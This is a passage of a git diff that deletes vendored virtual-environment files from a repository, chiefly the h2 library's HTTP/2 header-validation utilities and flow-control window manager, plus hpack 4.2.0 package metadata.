- the received data, but only validates the length against the - content-length header if one was sent. - - :param length: The length of the body chunk received. - :param end_stream: If this is the last body chunk received. - """ - self._actual_content_length += length - actual = self._actual_content_length - expected = self._expected_content_length - - if expected is not None: - if expected < actual: - raise InvalidBodyLengthError(expected, actual) - - if end_stream and expected != actual: - raise InvalidBodyLengthError(expected, actual) - - def _inbound_flow_control_change_from_settings(self, delta: int) -> None: - """ - We changed SETTINGS_INITIAL_WINDOW_SIZE, which means we need to - update the target window size for flow control. For our flow control - strategy, this means we need to do two things: we need to adjust the - current window size, but we also need to set the target maximum window - size to the new value. - """ - new_max_size = self._inbound_window_manager.max_window_size + delta - self._inbound_window_manager.window_opened(delta) - self._inbound_window_manager.max_window_size = new_max_size - - -def _decode_headers(headers: Iterable[HeaderWeaklyTyped], encoding: str) -> Generator[HeaderTuple, None, None]: - """ - Given an iterable of header two-tuples and an encoding, decodes those - headers using that encoding while preserving the type of the header tuple. - This ensures that the use of ``HeaderTuple`` is preserved. - """ - for header in headers: - # This function expects to work on decoded headers, which are always - # HeaderTuple objects. - assert isinstance(header, HeaderTuple) - - name, value = header - assert isinstance(name, bytes) - assert isinstance(value, bytes) - - n = name.decode(encoding) - v = value.decode(encoding) - yield header.__class__(n, v) diff --git a/venv/Lib/site-packages/h2/utilities.py b/venv/Lib/site-packages/h2/utilities.py deleted file mode 100644 index c4e62f2f38ad93e2e950c13d9392c716c4a3b639..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/utilities.py +++ /dev/null @@ -1,726 +0,0 @@ -""" -h2/utilities -~~~~~~~~~~~~ - -Utility functions that do not belong in a separate module. -""" -from __future__ import annotations - -import collections -from typing import TYPE_CHECKING, Any, NamedTuple - -from hpack.struct import HeaderTuple, NeverIndexedHeaderTuple - -from .exceptions import FlowControlError, ProtocolError - -if TYPE_CHECKING: # pragma: no cover - from collections.abc import Generator, Iterable - - from hpack.struct import Header, HeaderWeaklyTyped - -SIGIL = ord(b":") -INFORMATIONAL_START = ord(b"1") - - -# A set of headers that are hop-by-hop or connection-specific and thus -# forbidden in HTTP/2. This list comes from RFC 7540 § 8.1.2.2. -CONNECTION_HEADERS = frozenset([ - b"connection", - b"proxy-connection", - b"keep-alive", - b"transfer-encoding", - b"upgrade", -]) - - -_ALLOWED_PSEUDO_HEADER_FIELDS = frozenset([ - b":method", - b":scheme", - b":authority", - b":path", - b":status", - b":protocol", -]) - - -_SECURE_HEADERS = frozenset([ - # May have basic credentials which are vulnerable to dictionary attacks. - b"authorization", - b"proxy-authorization", -]) - - -_REQUEST_ONLY_HEADERS = frozenset([ - b":scheme", - b":path", - b":authority", - b":method", - b":protocol", -]) - - -_RESPONSE_ONLY_HEADERS = frozenset([b":status"]) - - -# A Set of pseudo headers that are only valid if the method is -# CONNECT, see RFC 8441 § 5 -_CONNECT_REQUEST_ONLY_HEADERS = frozenset([b":protocol"]) - - -def _secure_headers(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags | None) -> Generator[Header, None, None]: - """ - Certain headers are at risk of being attacked during the header compression - phase, and so need to be kept out of header compression contexts. This - function automatically transforms certain specific headers into HPACK - never-indexed fields to ensure they don't get added to header compression - contexts. - - This function currently implements two rules: - - - 'authorization' and 'proxy-authorization' fields are automatically made - never-indexed. - - Any 'cookie' header field shorter than 20 bytes long is made - never-indexed. - - These fields are the most at-risk. These rules are inspired by Firefox - and nghttp2. - """ - for header in headers: - assert isinstance(header[0], bytes) - if header[0] in _SECURE_HEADERS or (header[0] == b"cookie" and len(header[1]) < 20): - yield NeverIndexedHeaderTuple(header[0], header[1]) - else: - yield header - - -def extract_method_header(headers: Iterable[Header]) -> bytes | None: - """ - Extracts the request method from the headers list. - """ - for k, v in headers: - if isinstance(v, bytes) and k == b":method": - return v - if isinstance(v, str) and k == ":method": - return v.encode("utf-8") # pragma: no cover - return None - - -def is_informational_response(headers: Iterable[Header]) -> bool: - """ - Searches headers list for a :status header to confirm that a given - collection of headers are an informational response. Assumes the header - are well formed and encoded as bytes: that is, that the HTTP/2 special - headers are first in the block, and so that it can stop looking when it - finds the first header field whose name does not begin with a colon. - - :param headers: The HTTP/2 headers. - :returns: A boolean indicating if this is an informational response. - """ - for n, v in headers: - if not n.startswith(b":"): - return False - if n != b":status": - # If we find a non-special header, we're done here: stop looping. - continue - # If the first digit is a 1, we've got informational headers. - return v.startswith(b"1") - return False - - -def guard_increment_window(current: int, increment: int) -> int: - """ - Increments a flow control window, guarding against that window becoming too - large. - - :param current: The current value of the flow control window. - :param increment: The increment to apply to that window. - :returns: The new value of the window. - :raises: ``FlowControlError`` - """ - # The largest value the flow control window may take. - LARGEST_FLOW_CONTROL_WINDOW = 2**31 - 1 # noqa: N806 - - new_size = current + increment - - if new_size > LARGEST_FLOW_CONTROL_WINDOW: - msg = f"May not increment flow control window past {LARGEST_FLOW_CONTROL_WINDOW}" - raise FlowControlError(msg) - - return new_size - - -def authority_from_headers(headers: Iterable[Header]) -> bytes | None: - """ - Given a header set, searches for the authority header and returns the - value. - - Note that this doesn't use indexing, so should only be called if the - headers are for a client request. Otherwise, will loop over the entire - header set, which is potentially unwise. - - :param headers: The HTTP header set. - :returns: The value of the authority header, or ``None``. - :rtype: ``bytes`` or ``None``. - """ - for n, v in headers: - if n == b":authority": - return v - - return None - - -# Flags used by the validate_headers pipeline to determine which checks -# should be applied to a given set of headers. -class HeaderValidationFlags(NamedTuple): - is_client: bool - is_trailer: bool - is_response_header: bool - is_push_promise: bool - - -def validate_headers(headers: Iterable[Header], hdr_validation_flags: HeaderValidationFlags) -> Iterable[Header]: - """ - Validates a header sequence against a set of constraints from RFC 7540. - - :param headers: The HTTP header set. - :param hdr_validation_flags: An instance of HeaderValidationFlags. - """ - # This validation logic is built on a sequence of generators that are - # iterated over to provide the final header list. This reduces some of the - # overhead of doing this checking. However, it's worth noting that this - # checking remains somewhat expensive, and attempts should be made wherever - # possible to reduce the time spent doing them. - # - # For example, we avoid tuple unpacking in loops because it represents a - # fixed cost that we don't want to spend, instead indexing into the header - # tuples. - headers = _reject_illegal_characters( - headers, hdr_validation_flags, - ) - headers = _reject_empty_header_names( - headers, hdr_validation_flags, - ) - headers = _reject_te( - headers, hdr_validation_flags, - ) - headers = _reject_connection_header( - headers, hdr_validation_flags, - ) - headers = _reject_pseudo_header_fields( - headers, hdr_validation_flags, - ) - headers = _check_host_authority_header( - headers, hdr_validation_flags, - ) - return _check_path_header(headers, hdr_validation_flags) - - -def _reject_illegal_characters(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - Raises a ProtocolError if any header names or values contain illegal characters. - See . - """ - for header in headers: - # > A field name MUST NOT contain characters in the ranges 0x00-0x20, 0x41-0x5a, - # > or 0x7f-0xff (all ranges inclusive). - for c in header[0]: - if 0x41 <= c <= 0x5a: - msg = f"Received uppercase header name {header[0]!r}." - raise ProtocolError(msg) - if c <= 0x20 or c >= 0x7f: - msg = f"Illegal character '{chr(c)}' in header name: {header[0]!r}" - raise ProtocolError(msg) - - # > With the exception of pseudo-header fields (Section 8.3), which have a name - # > that starts with a single colon, field names MUST NOT include a colon (ASCII - # > COLON, 0x3a). - if header[0].find(b":", 1) != -1: - msg = f"Illegal character ':' in header name: {header[0]!r}" - raise ProtocolError(msg) - - # For compatibility with RFC 7230 header fields, we need to allow the field - # value to be an empty string. This is ludicrous, but technically allowed. - if field_value := header[1]: - - # > A field value MUST NOT contain the zero value (ASCII NUL, 0x00), line feed - # > (ASCII LF, 0x0a), or carriage return (ASCII CR, 0x0d) at any position. - for c in field_value: - if c == 0 or c == 0x0a or c == 0x0d: # noqa: PLR1714 - msg = f"Illegal character '{chr(c)}' in header value: {field_value!r}" - raise ProtocolError(msg) - - # > A field value MUST NOT start or end with an ASCII whitespace character - # > (ASCII SP or HTAB, 0x20 or 0x09). - if ( - field_value[0] == 0x20 or - field_value[0] == 0x09 or - field_value[-1] == 0x20 or - field_value[-1] == 0x09 - ): - msg = f"Received header value surrounded by whitespace {field_value!r}" - raise ProtocolError(msg) - - yield header - - -def _reject_empty_header_names(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - Raises a ProtocolError if any header names are empty (length 0). - While hpack decodes such headers without errors, they are semantically - forbidden in HTTP, see RFC 7230, stating that they must be at least one - character long. - """ - for header in headers: - if len(header[0]) == 0: - msg = "Received header name with zero length." - raise ProtocolError(msg) - yield header - - -def _reject_te(headers: Iterable[Header], hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - Raises a ProtocolError if the TE header is present in a header block and - its value is anything other than "trailers". - """ - for header in headers: - if header[0] == b"te" and header[1].lower() != b"trailers": - msg = f"Invalid value for TE header: {header[1]!r}" - raise ProtocolError(msg) - - yield header - - -def _reject_connection_header(headers: Iterable[Header], hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - Raises a ProtocolError if the Connection header is present in a header - block. - """ - for header in headers: - if header[0] in CONNECTION_HEADERS: - msg = f"Connection-specific header field present: {header[0]!r}." - raise ProtocolError(msg) - - yield header - - -def _assert_header_in_set(bytes_header: bytes, - header_set: set[bytes | str] | set[bytes] | set[str]) -> None: - """ - Given a set of header names, checks whether the string or byte version of - the header name is present. Raises a Protocol error with the appropriate - error if it's missing. - """ - if bytes_header not in header_set: - msg = f"Header block missing mandatory {bytes_header!r} header" - raise ProtocolError(msg) - - -def _reject_pseudo_header_fields(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - Raises a ProtocolError if duplicate pseudo-header fields are found in a - header block or if a pseudo-header field appears in a block after an - ordinary header field. - - Raises a ProtocolError if pseudo-header fields are found in trailers. - """ - seen_pseudo_header_fields = set() - seen_regular_header = False - method = None - - for header in headers: - if header[0][0] == SIGIL: - if header[0] in seen_pseudo_header_fields: - msg = f"Received duplicate pseudo-header field {header[0]!r}" - raise ProtocolError(msg) - - seen_pseudo_header_fields.add(header[0]) - - if seen_regular_header: - msg = f"Received pseudo-header field out of sequence: {header[0]!r}" - raise ProtocolError(msg) - - if header[0] not in _ALLOWED_PSEUDO_HEADER_FIELDS: - msg = f"Received custom pseudo-header field {header[0]!r}" - raise ProtocolError(msg) - - if header[0] == b":method": - method = header[1] - - else: - seen_regular_header = True - - yield header - - # Check the pseudo-headers we got to confirm they're acceptable. - _check_pseudo_header_field_acceptability( - seen_pseudo_header_fields, method, hdr_validation_flags, - ) - - -def _check_pseudo_header_field_acceptability( # noqa: C901 - pseudo_headers: set[bytes | str] | set[bytes] | set[str], - method: bytes | None, - hdr_validation_flags: HeaderValidationFlags, -) -> None: - """ - Given the set of pseudo-headers present in a header block and the - validation flags, confirms that RFC 7540 allows them. - """ - # Pseudo-header fields MUST NOT appear in trailers - RFC 7540 § 8.1.2.1 - if hdr_validation_flags.is_trailer and pseudo_headers: - msg = f"Received pseudo-header in trailer {pseudo_headers}" - raise ProtocolError(msg) - - # If ':status' pseudo-header is not there in a response header, reject it. - # Similarly, if ':path', ':method', or ':scheme' are not there in a request - # header, reject it. Additionally, if a response contains any request-only - # headers or vice-versa, reject it. - # Relevant RFC section: RFC 7540 § 8.1.2.4 - # https://tools.ietf.org/html/rfc7540#section-8.1.2.4 - if hdr_validation_flags.is_response_header: - _assert_header_in_set(b":status", pseudo_headers) - invalid_response_headers = pseudo_headers & _REQUEST_ONLY_HEADERS - if invalid_response_headers: - msg = f"Encountered request-only headers {invalid_response_headers}" - raise ProtocolError(msg) - elif (not hdr_validation_flags.is_response_header and - not hdr_validation_flags.is_trailer): - # Request header block. - _assert_header_in_set(b":method", pseudo_headers) - - is_connect = (method == b"CONNECT") - is_extended_connect = is_connect and (b":protocol" in pseudo_headers) - - if is_connect and not is_extended_connect: - # Ordinary CONNECT (RFC 9113 s8.3): - # MUST NOT include :scheme or :path. - if b":scheme" in pseudo_headers or b":path" in pseudo_headers: - msg = "Ordinary CONNECT MUST NOT include :scheme or :path" - raise ProtocolError(msg) - # :authority presence is enforced elsewhere; no extra asserts here. - elif is_extended_connect: - # Extended CONNECT (RFC 8441 s4): require the regular tuple. - _assert_header_in_set(b":scheme", pseudo_headers) - _assert_header_in_set(b":path", pseudo_headers) - # :authority presence validated by host/authority checker. - else: - # Non-CONNECT requests require :scheme and :path (RFC 9113 s8.3). - _assert_header_in_set(b":scheme", pseudo_headers) - _assert_header_in_set(b":path", pseudo_headers) - - invalid_request_headers = pseudo_headers & _RESPONSE_ONLY_HEADERS - if invalid_request_headers: - msg = f"Encountered response-only headers {invalid_request_headers}" - raise ProtocolError(msg) - - # If not CONNECT, then :protocol is invalid. - if not is_connect: - invalid_headers = pseudo_headers & _CONNECT_REQUEST_ONLY_HEADERS - if invalid_headers: - msg = f"Encountered connect-request-only headers {invalid_headers!r}" - raise ProtocolError(msg) - - -def _validate_host_authority_header(headers: Iterable[Header]) -> Generator[Header, None, None]: - """ - Given the :authority and Host headers from a request block that isn't - a trailer, check that: - 1. At least one of these headers is set. - 2. If both headers are set, they match. - - :param headers: The HTTP header set. - :raises: ``ProtocolError`` - """ - # We use None as a sentinel value. Iterate over the list of headers, - # and record the value of these headers (if present). We don't need - # to worry about receiving duplicate :authority headers, as this is - # enforced by the _reject_pseudo_header_fields() pipeline. - # - # TODO: We should also guard against receiving duplicate Host headers, - # and against sending duplicate headers. - authority_header_val = None - host_header_val = None - - for header in headers: - if header[0] == b":authority": - authority_header_val = header[1] - elif header[0] == b"host": - if host_header_val is not None: - msg = "Request header block has multiple Host headers." - raise ProtocolError(msg) - host_header_val = header[1] - - yield header - - # If we have not-None values for these variables, then we know we saw - # the corresponding header. - authority_present = (authority_header_val is not None) - host_present = (host_header_val is not None) - - # It is an error for a request header block to contain neither - # an :authority header nor a Host header. - if not authority_present and not host_present: - msg = "Request header block does not have an :authority or Host header." - raise ProtocolError(msg) - - # If we receive both headers, they should definitely match. - if authority_present and host_present and authority_header_val != host_header_val: - msg = ( - "Request header block has mismatched :authority and " - f"Host headers: {authority_header_val!r} / {host_header_val!r}" - ) - raise ProtocolError(msg) - - -def _check_host_authority_header(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - Raises a ProtocolError if a header block arrives that does not contain an - :authority or a Host header, or if a header block contains both fields, - but their values do not match. - """ - # We only expect to see :authority and Host headers on request header - # blocks that aren't trailers, so skip this validation if this is a - # response header or we're looking at trailer blocks. - skip_validation = ( - hdr_validation_flags.is_response_header or - hdr_validation_flags.is_trailer - ) - if skip_validation: - return (h for h in headers) - - return _validate_host_authority_header(headers) - - -def _check_path_header(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - Raise a ProtocolError if a header block arrives or is sent that contains an - empty :path header. - """ - def inner() -> Generator[Header, None, None]: - for header in headers: - if header[0] == b":path" and not header[1]: - msg = "An empty :path header is forbidden" - raise ProtocolError(msg) - - yield header - - # We only expect to see :authority and Host headers on request header - # blocks that aren't trailers, so skip this validation if this is a - # response header or we're looking at trailer blocks. - skip_validation = ( - hdr_validation_flags.is_response_header or - hdr_validation_flags.is_trailer - ) - if skip_validation: - return (h for h in headers) - return inner() - - -def _to_bytes(v: bytes | str) -> bytes: - """ - Given an assumed `str` (or anything that supports `.encode()`), - encodes it using utf-8 into bytes. Returns the unmodified object - if it is already a `bytes` object. - """ - return v if isinstance(v, bytes) else v.encode("utf-8") - - -def utf8_encode_headers(headers: Iterable[HeaderWeaklyTyped]) -> list[Header]: - """ - Given an iterable of header two-tuples, rebuilds that as a list with the - header names and values encoded as utf-8 bytes. This function produces - tuples that preserve the original type of the header tuple for tuple and - any ``HeaderTuple``. - """ - encoded_headers: list[Header] = [] - for header in headers: - h = (_to_bytes(header[0]), _to_bytes(header[1])) - if isinstance(header, HeaderTuple): - encoded_headers.append(header.__class__(h[0], h[1])) - else: - encoded_headers.append(h) - return encoded_headers - - -def _lowercase_header_names(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags | None) -> Generator[Header, None, None]: - """ - Given an iterable of header two-tuples, rebuilds that iterable with the - header names lowercased. This generator produces tuples that preserve the - original type of the header tuple for tuple and any ``HeaderTuple``. - """ - for header in headers: - if isinstance(header, HeaderTuple): - yield header.__class__(header[0].lower(), header[1]) - else: - yield (header[0].lower(), header[1]) - - -def _strip_surrounding_whitespace(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags | None) -> Generator[Header, None, None]: - """ - Given an iterable of header two-tuples, strip both leading and trailing - whitespace from both header names and header values. This generator - produces tuples that preserve the original type of the header tuple for - tuple and any ``HeaderTuple``. - """ - for header in headers: - if isinstance(header, HeaderTuple): - yield header.__class__(header[0].strip(), header[1].strip()) - else: - yield (header[0].strip(), header[1].strip()) - - -def _strip_connection_headers(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags | None) -> Generator[Header, None, None]: - """ - Strip any connection headers as per RFC7540 § 8.1.2.2. - """ - for header in headers: - if header[0] not in CONNECTION_HEADERS: - yield header - - -def _check_sent_host_authority_header(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - Raises an InvalidHeaderBlockError if we try to send a header block - that does not contain an :authority or a Host header, or if - the header block contains both fields, but their values do not match. - """ - # We only expect to see :authority and Host headers on request header - # blocks that aren't trailers, so skip this validation if this is a - # response header or we're looking at trailer blocks. - skip_validation = ( - hdr_validation_flags.is_response_header or - hdr_validation_flags.is_trailer - ) - if skip_validation: - return (h for h in headers) - - return _validate_host_authority_header(headers) - - -def _combine_cookie_fields(headers: Iterable[Header], hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - RFC 7540 § 8.1.2.5 allows HTTP/2 clients to split the Cookie header field, - which must normally appear only once, into multiple fields for better - compression. However, they MUST be joined back up again when received. - This normalization step applies that transform. The side-effect is that - all cookie fields now appear *last* in the header block. - """ - # There is a problem here about header indexing. Specifically, it's - # possible that all these cookies are sent with different header indexing - # values. At this point it shouldn't matter too much, so we apply our own - # logic and make them never-indexed. - cookies: list[bytes] = [] - for header in headers: - if header[0] == b"cookie": - cookies.append(header[1]) - else: - yield header - if cookies: - cookie_val = b"; ".join(cookies) - yield NeverIndexedHeaderTuple(b"cookie", cookie_val) - - -def _split_outbound_cookie_fields(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags | None) -> Generator[Header, None, None]: - """ - RFC 7540 § 8.1.2.5 allows for better compression efficiency, - to split the Cookie header field into separate header fields - - We want to do it for outbound requests, as we are doing for - inbound. - """ - for header in headers: - assert isinstance(header[0], bytes) - assert isinstance(header[1], bytes) - if header[0] == b"cookie": - for cookie_val in header[1].split(b"; "): - if isinstance(header, HeaderTuple): - yield header.__class__(header[0], cookie_val) - else: - yield header[0], cookie_val - else: - yield header - - -def normalize_outbound_headers(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags | None, - should_split_outbound_cookies: bool=False) -> Generator[Header, None, None]: - """ - Normalizes a header sequence that we are about to send. - - :param headers: The HTTP header set. - :param hdr_validation_flags: An instance of HeaderValidationFlags. - :param should_split_outbound_cookies: boolean flag - """ - headers = _lowercase_header_names(headers, hdr_validation_flags) - if should_split_outbound_cookies: - headers = _split_outbound_cookie_fields(headers, hdr_validation_flags) - headers = _strip_surrounding_whitespace(headers, hdr_validation_flags) - headers = _strip_connection_headers(headers, hdr_validation_flags) - return _secure_headers(headers, hdr_validation_flags) - - - -def normalize_inbound_headers(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - Normalizes a header sequence that we have received. - - :param headers: The HTTP header set. - :param hdr_validation_flags: An instance of HeaderValidationFlags - """ - return _combine_cookie_fields(headers, hdr_validation_flags) - - -def validate_outbound_headers(headers: Iterable[Header], - hdr_validation_flags: HeaderValidationFlags) -> Generator[Header, None, None]: - """ - Validates and normalizes a header sequence that we are about to send. - - :param headers: The HTTP header set. - :param hdr_validation_flags: An instance of HeaderValidationFlags. - """ - headers = _reject_te( - headers, hdr_validation_flags, - ) - headers = _reject_connection_header( - headers, hdr_validation_flags, - ) - headers = _reject_pseudo_header_fields( - headers, hdr_validation_flags, - ) - headers = _check_sent_host_authority_header( - headers, hdr_validation_flags, - ) - return _check_path_header(headers, hdr_validation_flags) - - - -class SizeLimitDict(collections.OrderedDict[int, Any]): - - def __init__(self, *args: dict[int, int], **kwargs: Any) -> None: - self._size_limit = kwargs.pop("size_limit", None) - super().__init__(*args, **kwargs) - - self._check_size_limit() - - def __setitem__(self, key: int, value: Any | int) -> None: - super().__setitem__(key, value) - - self._check_size_limit() - - def _check_size_limit(self) -> None: - if self._size_limit is not None: - while len(self) > self._size_limit: - self.popitem(last=False) - diff --git a/venv/Lib/site-packages/h2/windows.py b/venv/Lib/site-packages/h2/windows.py deleted file mode 100644 index 0efdd9fe6c277ae790dfde3321eb0732e232492a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/windows.py +++ /dev/null @@ -1,133 +0,0 @@ -""" -h2/windows -~~~~~~~~~~ - -Defines tools for managing HTTP/2 flow control windows. - -The objects defined in this module are used to automatically manage HTTP/2 -flow control windows. Specifically, they keep track of what the size of the -window is, how much data has been consumed from that window, and how much data -the user has already used. It then implements a basic algorithm that attempts -to manage the flow control window without user input, trying to ensure that it -does not emit too many WINDOW_UPDATE frames. -""" -from __future__ import annotations - -from .exceptions import FlowControlError - -# The largest acceptable value for a HTTP/2 flow control window. -LARGEST_FLOW_CONTROL_WINDOW = 2**31 - 1 - - -class WindowManager: - """ - A basic HTTP/2 window manager. - - :param max_window_size: The maximum size of the flow control window. - :type max_window_size: ``int`` - """ - - def __init__(self, max_window_size: int) -> None: - assert max_window_size <= LARGEST_FLOW_CONTROL_WINDOW - self.max_window_size = max_window_size - self.current_window_size = max_window_size - self._bytes_processed = 0 - - def window_consumed(self, size: int) -> None: - """ - We have received a certain number of bytes from the remote peer. This - necessarily shrinks the flow control window! - - :param size: The number of flow controlled bytes we received from the - remote peer. - :type size: ``int`` - :returns: Nothing. - :rtype: ``None`` - """ - self.current_window_size -= size - if self.current_window_size < 0: - msg = "Flow control window shrunk below 0" - raise FlowControlError(msg) - - def window_opened(self, size: int) -> None: - """ - The flow control window has been incremented, either because of manual - flow control management or because of the user changing the flow - control settings. This can have the effect of increasing what we - consider to be the "maximum" flow control window size. - - This does not increase our view of how many bytes have been processed, - only of how much space is in the window. - - :param size: The increment to the flow control window we received. - :type size: ``int`` - :returns: Nothing - :rtype: ``None`` - """ - self.current_window_size += size - - if self.current_window_size > LARGEST_FLOW_CONTROL_WINDOW: - msg = f"Flow control window mustn't exceed {LARGEST_FLOW_CONTROL_WINDOW}" - raise FlowControlError(msg) - - self.max_window_size = max(self.current_window_size, self.max_window_size) - - def process_bytes(self, size: int) -> int | None: - """ - The application has informed us that it has processed a certain number - of bytes. This may cause us to want to emit a window update frame. If - we do want to emit a window update frame, this method will return the - number of bytes that we should increment the window by. - - :param size: The number of flow controlled bytes that the application - has processed. - :type size: ``int`` - :returns: The number of bytes to increment the flow control window by, - or ``None``. - :rtype: ``int`` or ``None`` - """ - self._bytes_processed += size - return self._maybe_update_window() - - def _maybe_update_window(self) -> int | None: - """ - Run the algorithm. - - Our current algorithm can be described like this. - - 1. If no bytes have been processed, we immediately return 0. There is - no meaningful way for us to hand space in the window back to the - remote peer, so let's not even try. - 2. If there is no space in the flow control window, and we have - processed at least 1024 bytes (or 1/4 of the window, if the window - is smaller), we will emit a window update frame. This is to avoid - the risk of blocking a stream altogether. - 3. If there is space in the flow control window, and we have processed - at least 1/2 of the window worth of bytes, we will emit a window - update frame. This is to minimise the number of window update frames - we have to emit. - - In a healthy system with large flow control windows, this will - irregularly emit WINDOW_UPDATE frames. This prevents us starving the - connection by emitting eleventy bajillion WINDOW_UPDATE frames, - especially in situations where the remote peer is sending a lot of very - small DATA frames. - """ - # TODO: Can the window be smaller than 1024 bytes? If not, we can - # streamline this algorithm. - if not self._bytes_processed: - return None - - max_increment = (self.max_window_size - self.current_window_size) - increment = 0 - - # Note that, even though we may increment less than _bytes_processed, - # we still want to set it to zero whenever we emit an increment. This - # is because we'll always increment up to the maximum we can. - if ((self.current_window_size == 0) and ( - self._bytes_processed > min(1024, self.max_window_size // 4))) or self._bytes_processed >= (self.max_window_size // 2): - increment = min(self._bytes_processed, max_increment) - self._bytes_processed = 0 - - self.current_window_size += increment - return increment diff --git a/venv/Lib/site-packages/hpack-4.2.0.dist-info/INSTALLER b/venv/Lib/site-packages/hpack-4.2.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack-4.2.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/hpack-4.2.0.dist-info/METADATA b/venv/Lib/site-packages/hpack-4.2.0.dist-info/METADATA deleted file mode 100644 index 5287e60dcbfd7601b0fdab660da6016735af4092..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack-4.2.0.dist-info/METADATA +++ /dev/null @@ -1,96 +0,0 @@ -Metadata-Version: 2.4 -Name: hpack -Version: 4.2.0 -Summary: Pure-Python HPACK header encoding -Author-email: Cory Benfield -Maintainer-email: Thomas Kriechbaumer -License-Expression: MIT -Project-URL: Homepage, https://github.com/python-hyper/hpack/ -Project-URL: Bug Reports, https://github.com/python-hyper/hpack/issues -Project-URL: Source, https://github.com/python-hyper/hpack/ -Project-URL: Documentation, https://python-hyper.org/ -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: Implementation :: CPython -Requires-Python: >=3.10 -Description-Content-Type: text/x-rst -License-File: LICENSE -Dynamic: license-file - -======================================== -hpack: HTTP/2 Header Encoding for Python -======================================== - -.. image:: https://github.com/python-hyper/hpack/workflows/CI/badge.svg - :target: https://github.com/python-hyper/hpack/actions - :alt: Build Status -.. image:: https://codecov.io/gh/python-hyper/hpack/branch/master/graph/badge.svg - :target: https://codecov.io/gh/python-hyper/hpack - :alt: Code Coverage -.. image:: https://readthedocs.org/projects/hpack/badge/?version=latest - :target: https://hpack.readthedocs.io/en/latest/ - :alt: Documentation Status -.. image:: https://img.shields.io/badge/chat-join_now-brightgreen.svg - :target: https://gitter.im/python-hyper/community - :alt: Chat community - -.. image:: https://raw.github.com/python-hyper/documentation/master/source/logo/hyper-black-bg-white.png - -This module contains a pure-Python HTTP/2 header encoding (HPACK) logic for use -in Python programs that implement HTTP/2. - -Documentation -============= - -Documentation is available at https://hpack.readthedocs.io . - -Quickstart: - -.. code-block:: python - - from hpack import Encoder, Decoder - - headers = [ - (':method', 'GET'), - (':path', '/jimiscool/'), - ('X-Some-Header', 'some_value'), - ] - - e = Encoder() - encoded_bytes = e.encode(headers) - - d = Decoder() - decoded_headers = d.decode(encoded_bytes) - - -Contributing -============ - -``hpack`` welcomes contributions from anyone! Unlike many other projects we are -happy to accept cosmetic contributions and small contributions, in addition to -large feature requests and changes. - -Before you contribute (either by opening an issue or filing a pull request), -please `read the contribution guidelines`_. - -.. _read the contribution guidelines: http://hyper.readthedocs.org/en/development/contributing.html - -License -======= - -``hpack`` is made available under the MIT License. For more details, see the -``LICENSE`` file in the repository. - -Authors -======= - -``hpack`` is maintained by Cory Benfield, with contributions from others. For -more details about the contributors, please see ``CONTRIBUTORS.rst``. diff --git a/venv/Lib/site-packages/hpack-4.2.0.dist-info/RECORD b/venv/Lib/site-packages/hpack-4.2.0.dist-info/RECORD deleted file mode 100644 index 25b7fd025889faed9b65c401280ea154ad1877cd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack-4.2.0.dist-info/RECORD +++ /dev/null @@ -1,23 +0,0 @@ -hpack-4.2.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -hpack-4.2.0.dist-info/METADATA,sha256=0kCMu3t9L0vQQalqhQMA2kXhv3mxo4AUil_Cnc1VJV8,3288 -hpack-4.2.0.dist-info/RECORD,, -hpack-4.2.0.dist-info/WHEEL,sha256=aeYiig01lYGDzBgS8HxWXOg3uV61G9ijOsup-k9o1sk,91 -hpack-4.2.0.dist-info/licenses/LICENSE,sha256=djqTQqBN9iBGydx0ilKHk06wpTMcaGOzygruIOGMtO0,1080 -hpack-4.2.0.dist-info/top_level.txt,sha256=nyrZLbQo-0nC6ot3YO_109pkUiTtK1M0wUJfLHuQceE,6 -hpack/__init__.py,sha256=jX4oVZPBXTVuk_a3xoVqUbuT4s1vlefXSgkeVYe3FHE,597 -hpack/__pycache__/__init__.cpython-314.pyc,, -hpack/__pycache__/exceptions.cpython-314.pyc,, -hpack/__pycache__/hpack.cpython-314.pyc,, -hpack/__pycache__/huffman.cpython-314.pyc,, -hpack/__pycache__/huffman_constants.cpython-314.pyc,, -hpack/__pycache__/huffman_table.cpython-314.pyc,, -hpack/__pycache__/struct.cpython-314.pyc,, -hpack/__pycache__/table.cpython-314.pyc,, -hpack/exceptions.py,sha256=Xqy8viqvKKHByQ7Io8Fp-HPlDP3T7RM9aplPSxdr9jI,1107 -hpack/hpack.py,sha256=SrFKqxqFbO5FrqMWmFQWexbaye-exM7x7R1dqCQ5dp0,26058 